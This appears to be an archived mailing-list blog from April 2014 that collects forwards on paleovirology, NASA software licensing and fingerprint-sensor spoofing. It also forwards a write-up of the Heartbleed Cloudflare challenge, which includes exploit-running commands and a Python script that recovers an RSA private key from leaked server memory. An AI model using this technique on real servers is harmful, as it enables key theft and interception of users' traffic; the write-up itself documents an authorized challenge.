Thursday, April 17, 2014

[tt] PLOS Bio: The Mongoose, the Pheasant, the Pox, and the Retrovirus

[You can't make this stuff up.]

The Mongoose, the Pheasant, the Pox, and the Retrovirus

Lucie Etienne, Michael Emerman

Published: August 27, 2013
DOI: 10.1371/journal.pbio.1001641


Paleovirology is the study of ancient viruses. The existence of a
paleovirus can sometimes be detected by virtue of its accidental
insertion into the germline of different animal species, which
allows one to date when the virus actually existed. However, the
ancient and the modern often connect, as modern viruses have
unexpected origins that can be traced to ancient infections. The
genomes of two species of mongooses and an egg-laying mammal called
an echidna show that a virus currently present in poultry, the
reticuloendotheliosis virus (REV), is actually of ancient exotic
mammalian origin. REV apparently spread to poultry through a
circuitous route involving the isolation of malaria parasites from
a pheasant from Borneo housed at the Bronx Zoo that was contaminated
with REV. Repeated passage of this virus in poultry adapted the
virus to its new host. At some point, the virus got inserted into
another virus, called fowlpox virus, which has spread back into the
wild. Although REV may still exist somewhere in a mammalian host,
its modern form links an 8 million-year-old infection of the ancestor
of a mongoose to a virus that now is circulating in wild birds
through malaria studies in the mid-20th century. These lessons of
ancient and modern viruses have implications for modern human
pandemics from viral reservoirs and for human interventions that
may come with unintended consequences.

Christian "naddy" Weisgerber
tt mailing list

Wednesday, April 16, 2014

[tt] (cctalk) NASA "Open Source".... (fwd)

----- Forwarded message from Lyle Bickley <> -----

Date: Tue, 15 Apr 2014 09:35:06 -0700
From: Lyle Bickley <>
To: "General Discussion: On-Topic and Off-Topic Posts" <>
Subject: NASA "Open Source"....

After posting NASA's "open source" program to this list, I decided to
download some of the "open source" software listed.

To obtain the software I had to fill out a long form: "SOFTWARE USAGE
AGREEMENT (SUA)" - which included an affirmation by me that I was a US
Citizen, etc., etc.

After filling out the form and submitting it, a few days later I got a
terse reply: "Sorry it is for government release only".

I wrote the author of the email and said that NASA had said on their
website that it was "open source". The response was:

"Thank you for your inquiry, However, STRS is labeled specifically as
Government Purpose Only software. At this time it is only available
for a Federal Government purpose use by civil servants or contractors
with a contract number. In the future, if you have need for the
software on a government contract, please feel free to contact our
office again for the software."

The author also included the following NASA Software Catalog (link
below). As you'll see, very little of the software posted on NASA's
"open source" site is actually "open source" as we know it! Most of it
is "US Government Purpose Release". There is a small subset of software
that are identified as "General Public" or "Open Source":

He also included a link to this site with truly open source NASA

While I was disappointed with NASA's response regarding their "open
source" program, at least they pointed me to the NASA software catalog
and a site with actual open source software.

Bickley Consulting West Inc.

"Black holes are where God is dividing by zero"

----- End forwarded message -----
tt mailing list

[tt] (CCC 2007-11) Fingerprint Recognition at the Supermarket as insecure as Biometrics in Passports



(... links deleted ...)

Fingerprint Recognition at the Supermarket as insecure as Biometrics in

2007-11-27 00:00:00, webmaster

Berlin, Germany (, November 27, 2007) Biometrics experts
of the German Chaos Computer Club (CCC) worked together with German TV
magazine "PlusMinus" to demonstrate the ease of counterfeiting
fingerprints. In front of running cameras, a fingerprint scanner
installed at a supermarket checkout was deceived, charging the
transaction to someone else's account. The journalists of the TV
magazine were able to trick the point-of-sale system with forged
fingerprints after only a short tutorial from CCC experts, therefore
refuting the claim of biometrics proponents and manufacturers that such
a forgery scenario is only possible in a controlled environment such as
a laboratory. Fingerprinting systems which are used in the new
biometric passport and are planned to be deployed in the German
ID-card, can be deceived with the most trivial methods and do not
provide any mentionable security.

For reasons of their own safety, they chose a German supermarket in the
Swabian city of Rülzheim (near Karlsruhe) instead of an airport. As
part of a trial run of the technology, the store, along with over a
hundred others, offers an account which allows the customer to complete
transactions using only their fingerprint. As demonstrated in a
three-year old video, the fingerprints of a customer (who participated
in the experiment) could be lifted off an everyday item. According to a
method developed by the biometrics experts of the CCC these imprints
can be transformed into a dummy fingerprint which easily allows use of
someone else's account. The needed materials (super glue, wood glue,
skin friendly glue, and a laser printer) can be found in almost every

It is feared that the installation of fingerprint readers at German
border control in conjunction with the introduction of the "ePass"
(German Biometric Passport) will undermine the security of, and not
enhance, one of the most fraud-resistant documents in the world.

The issue of liability surrounding biometric payment systems remains
unclear. Similar to the fraud-plagued EC-card, the victims of the fraud
must prove that they did not act fraudulently. Finding this proof is
very difficult, given the complexity of these systems. The CCC strongly
recommends not to use these systems. Anyone who is already registered
with such a system should cancel the contract immediately, and demand a
written confirmation that your personal biometric data has been

Unlike security characteristics which can be changed, like a password
or PIN, one's fingerprint is unchangeable. Once a fingerprint has been
lifted and copied, it is useless as a security feature for the person's
whole lifetime. Each individual has only eight fingers that are useful
for authentication: the fingerprints of the fifth, or little, finger
are too small to be used for this purpose.

Frank Rosengart, CCC spokesperson, concluded: The fingerprint as
security feature loses more and more of his value the more biometric
verification systems use it as a feature. The same fingerprint, which
is scanned in high resolution at the grocery store shall be used at the
border for verification. No customer can verify if the high resolution
fingerprint is stored anyway.

Rosengart continued, We demand a legislative ban of biometric
identification systems because neither the operator nor the user of the
system can estimate the risks. In the past CCC thoroughly pointed out
that fingerprints are neither suitable in payment systems nor in
passport documents.

Further information

* [1] [18]Press release of ARD's PlusMinus
* [2] [19]Video: Faking Fingerprints, how simple is it really?



* [21]update
* [22]pressemitteilung


[23]30c3_logo [24]Chaosradio [25]Ds [26]Events [27]Twitter


tt mailing list

[tt] (Security Research Labs YYYY-MM) Spoofing fingerprints

(Also of interest may be this ElReg piece, "FOUR DAYS: That's how long
it took to crack Galaxy S5 fingerscanner":




#[1]Security Research Labs » Feed [2]Security Research Labs »
Kommentar-Feed [3]Security Research Labs » Spoofing fingerprints
Kommentar-Feed [4]SIM card security workshops at OHM2013 [5]SRLabs
keeps growing: Seeking security professionals and skilled hackers

[6][srl.png] [srl_text.png]
* [7] what [8]research [9]tools [10]publications
* [11] where [12]events [13]lab

[14]Spoofing fingerprints

Fingerprint sensors have sought to replace password- and PIN-based
authentication for years. The sensors are widely found in laptops,
sometimes in payment terminals, and recently in [15]several
[16]smartphones. The latest entrance to the field is Apple's iPhone 5s.
The sensors continue to fail their marketing claim of secure device

Security level.

Using fingerprints as credentials for local user authentication has two
shortcomings when compared to passwords:

A. Limited revocation. Once a fingerprint gets stolen, there is no way
to change it. To offset this high compromise penalty, fingerprints
would need to be very hard to steal. However:

B. Credential spread. Users leave copies of their fingerprints
everywhere; including on the devices they protect. Fingerprints are not
fit for secure local user authentication as long as spoofs ("fake
fingers") can be produced from these pervasive copies.

Fingerprint spoofs.

Spoofs have been produced [17]time and [18]time again from images of
latent prints – even [19]while camping – and most recently by Starbug
from the CCC to [20]overcome the protection of an iPhone 5s.

Other current devices with touch and swipe sensors are equally duped by
spoofs. This video shows how an iPhone 4s-taken photo results in a
fingerprint-spoof that unlocks a Thinkpad laptop, a Fujitsu smartphone,
and an iPhone 5s:


ID theft risk.

The iPhone 5s's fingerprint sensor does not only appear to provide no
additional protection, its use even undermines other security
mechanisms. This video demonstrates how other flaws in iOS and iCloud
are exposed that – when combined with Touch ID's vulnerability to
fingerprint spoofing – allow for online identity theft:


Remote authentication.

Fingerprint sensors still have a strong protection proposition: To
provide a second (and third) authentication factor in remotely-executed
transactions, such as authorizing money transfers. Modern fingerprint
sensors can compare templates and scans on-chip – that is: protected
from malware on the device – and conduct a strong cryptographic
authentication to a web service. Industry seems to be determined to
standardize such [21]transactions.

An attacker would need to get access to three credentials: the banking
password, the fingerprint sensor that stores an authentication
certificate, and a spoof of the fingerprint that activates this
certificate. For the most common miscreant, remote attackers, the
latter two should be out of reach.

Evolution path.

Defeating local attackers is still of value even when the fingerprint
only provides an additional authentication factor.

The iPhone 5s already moved slightly beyond the capabilities of earlier
touch sensors: It provides a higher resolution image and – as far as
initial experiments can tell – uses this higher resolution to match
based on finer structures:

[22]Low resolution fingerprint image

Low resolution fingerprint image, sufficient to create spoofs for older

[23]High resolution fingerprint image

High resolution fingerprint image with clear features along the ridges,
which newer sensors detect

Even these finer structures can be spoofed, for example based on an
equally high resolution smartphone camera image, showing that some
defense strategies only improve at the pace of the corresponding attack

Fingerprint spoof prevention would better be based on intrinsic errors
in the spoof-creation process or on fingerprint features not present in
latent prints (and become much harder to steal). Examples of such
spoof-detection features are air bubbles contained in the glue often
used for spoofs (white dots in left image) and minute details that are
visible through a fingerprint sensor but not in a latent print (black
dots in right image).

[24]Sensor read of spoof finger with white air bubbles, but no sweat

Sensor read of spoof finger with white air bubbles, but fewer minute

[25]Sensor read of real finger with black sweat pores but no air

Sensor read of real finger with minute details but no air bubbles

Even by just comparing the density of white vs. black dots, sensors
would challenge hackers to improve their spoofing techniques. The
iPhone 5s, on the other hand, was defeated by techniques [26]widely
published years ago.

> [27]Imprint , Subscribe: [28]RSS [29]Atom


tt mailing list

[tt] PLOS One: Generalized Trust and Intelligence in the United States

Generalized Trust and Intelligence in the United States
Noah Carl, Francesco C. Billari

Published: March 11, 2014
DOI: 10.1371/journal.pone.0091786


Generalized trust refers to trust in other members of society; it
may be distinguished from particularized trust, which corresponds
to trust in the family and close friends. An extensive empirical
literature has established that generalized trust is an important
aspect of civic culture. It has been linked to a variety of positive
outcomes at the individual level, such as entrepreneurship,
volunteering, self-rated health, and happiness. However, two recent
studies have found that it is highly correlated with intelligence,
which raises the possibility that the other relationships in which
it has been implicated may be spurious. Here we replicate the
association between intelligence and generalized trust in a large,
nationally representative sample of U.S. adults. We also show that,
after adjusting for intelligence, generalized trust continues to
be strongly associated with both self-rated health and happiness.
In the context of substantial variation across countries, these
results bolster the view that generalized trust is a valuable social
resource, not only for the individual but for the wider society as

Christian "naddy" Weisgerber
tt mailing list

Tuesday, April 15, 2014

[tt] (c-punks) Re: "How I obtained the private key for" (fwd)

----- Forwarded message from coderman <> -----

Date: Sun, 13 Apr 2014 06:55:06 -0700
From: coderman <>
To: rysiek <>
Cc: cpunks <>
Subject: Re: "How I obtained the private key for"

On Sun, Apr 13, 2014 at 2:16 AM, rysiek <> wrote:
> Hi there,


I wasn't first to get the key. Nor was I second, third, or even
fourth. I'm probably not even the
10th to get it. But I'm happy that I was able to prove to myself that
I too could do it.

The sleepless adventure began yesterday afternoon, 2014-04-12
15:19:04.827516279 -0700.

First, I have to admit I was a skeptic. Like the handful of other
dissenters, I had initially
believed that it would be highly improbable under normal conditions to
obtain the private key
through exploiting Heartbleed. So this was my motivation for
participating in Cloudflare's
challenge. I had extracted a lot of other things with Heartbleed, but
I hadn't actually set out to
extract private keys. So I wanted to see first-hand if it was possible or not.

I started by hastily modifying the that everyone has been
using to dump the raw memory
contents to a file, rather than print a hexdump. I then left this
running in the background for a
(very long) while, as I set off to think of an approach.

while true; do python; done

My original thinking was that I could get a large sample of memory,
then use some forensic analysis
tools to search for keys in the memory dump. This idea went to the
wayside, however, as I got
sidetracked when I started seeing "BEGIN RSA PRIVATE KEY" strings in
the script output.

I thought it was too good to be true, but after parsing it out, it was
indeed a valid private key,
so I submitted it -- unsuccessfully. This turned out to be the work of
trolls who were sending
private key contents in heartbeat requests to the server, and I fell
for the trollbait. I found
several more `private keys' in the dump, and I skeptically tested them
anyway, just in case. But
they were all fake as well. Fucking trolls. But at least I didn't fall
for any of the keys that
ended in "LOLJK" ;)

So, I decided to get back on track and stick to my original plan.
After searching through some
forensics mailing lists and reading some papers on the topic, my plan
was to parse my dump file,
looking for the start of a key in ASN.1 format ("\x30\x82"), and then
parse out the key from there.

While working on this approach, I had a conversation with Brandon
Enright (@bmenrigh) on IRC. This
conversation left me thinking that my approach won't work, because the
chances of the key being in
ASN.1 DER format in memory are about as slim as the key being in PEM
format in memory. Brandon,
however, suggested a much more reasonable approach:

(19:25:15) < bmenrigh> But my plan would be to interpret all possible
portions of the memory dump
as however the P and Q factors get encoded and then just trial divide
the N modulus from the SSL
cert until you get one that divides
(19:26:38) < bmenrigh> you only get up to about 64k of memory on each
grab so if you interpret
every offset as the start of the dump as whatever a private key looks
like it just isn't many trial

By this time though, I had already been working on this for several
hours, and it was Friday night,
so I didn't want to spend any more time on it. However, I gave it some
more thought over dinner,
and the more I drank, the more I realized it was far more likely that
the binary values of p, or q,
or both, were in memory as-is. They likely wouldn't be encoded at all,
so we can just shift through
the memory dump in $keysize chunks, converting them to bignums and
doing the trial divide as Brandon
suggested. This would be really easy to code up and test, so I decided
to call it an early night,
and rushed home to work on it while the thought (and the liquor) were
still fresh in my brain.

The version of that I already had running in the background
was dumping memory in 16 KiB
chunks, not the full 64 KiB, so the plan would be to read the memory
dump in 16 KiB chunks,
shifting through each chunk in $keysize sections, testing to see if we
have a prime that the
modulus is divisible by. I sketched out the following psuedocode:

while (chunk = fread (file, 16384))
for (offset = 0; offset < len(chunk)-keysize; offset++)
p = bignum (chunk[offset-1] .. chunk[offset+keysize-1])
if (p is prime and modulus % p == 0)
q = modulus / p;
print p, q;

After a few hours of testing and debugging, lo and behold, one of the
primes is in my dump. Several
times, even. From here, it is trivial to get the private key given p/q
and the modulus.

I ended up with the following script:

import sys, base64, gmpy
from pyasn1.codec.der import encoder
from pyasn1.type.univ import *

def main ():
n = int (sys.argv[2], 16)
keysize = n.bit_length() / 16
with open (sys.argv[1], "rb") as f:
chunk = (16384)
while chunk:
for offset in xrange (0, len (chunk) - keysize):
p = long (''.join (["%02x" % ord
(chunk[x]) for x in xrange (offset + keysize - 1, offset - 1,
-1)]).strip(), 16)
if gmpy.is_prime (p) and p != n and n % p == 0:
e = 65537
q = n / p
phi = (p - 1) * (q - 1)
d = gmpy.invert (e, phi)
dp = d % (p - 1)
dq = d % (q - 1)
qinv = gmpy.invert (q, p)
seq = Sequence()
for x in [0, n, e, d, p, q,
dp, dq, qinv]:

seq.setComponentByPosition (len (seq), Integer (x))
print "\n\n-----BEGIN RSA
PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" %
base64.encodestring(encoder.encode (seq))
sys.exit (0)
chunk = (16384)
print "private key not found :("

if __name__ == '__main__':

(I'm sorry if this code offends any python aficionados, but I do not
write in python very often.)

Putting it all together,

epixoip@token:~$ while true; do python; done

epixoip@token:~$ echo | openssl s_client -connect -showcerts | openssl x509 >
depth=4 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network,
CN = AddTrust External CA Root
verify error:num=19:self signed certificate in certificate chain
verify return:0

epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem >

epixoip@token:~$ python cloudflare.raw $(openssl x509
-in cloudflare.pem -modulus -noout | cut -d'=' -f2) >

epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign
cloudflare_privkey.pem -sha1 >signed_proof.bin

epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify
cloudflare_pubkey.pem -signature signed_proof.bin -sha1
Verified OK

And just so anyone else can verify it if they wish,

epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign
cloudflare_priv.pem -sha1 | base64

So there you have it. I submitted my proof to Cloudflare about 7 hours
ago, so I effectively spent
a whole day on it. I wasn't the first to get it, probably not even the
10th. And I did need some
guidance (thanks Brandon!) But overall, I am pleased. The next step
would be to integrate this into, or ideally just re-write the whole damn thing top-to-bottom in C.

----- End forwarded message -----
tt mailing list

[tt] Phased array sound

Is it correct to conclude that it is basically the same method used for beam forming of phased array RADAR systems? EM I grasp way better than acoustics, or at least have been exposed to it more.


Sent from my iPhone
tt mailing list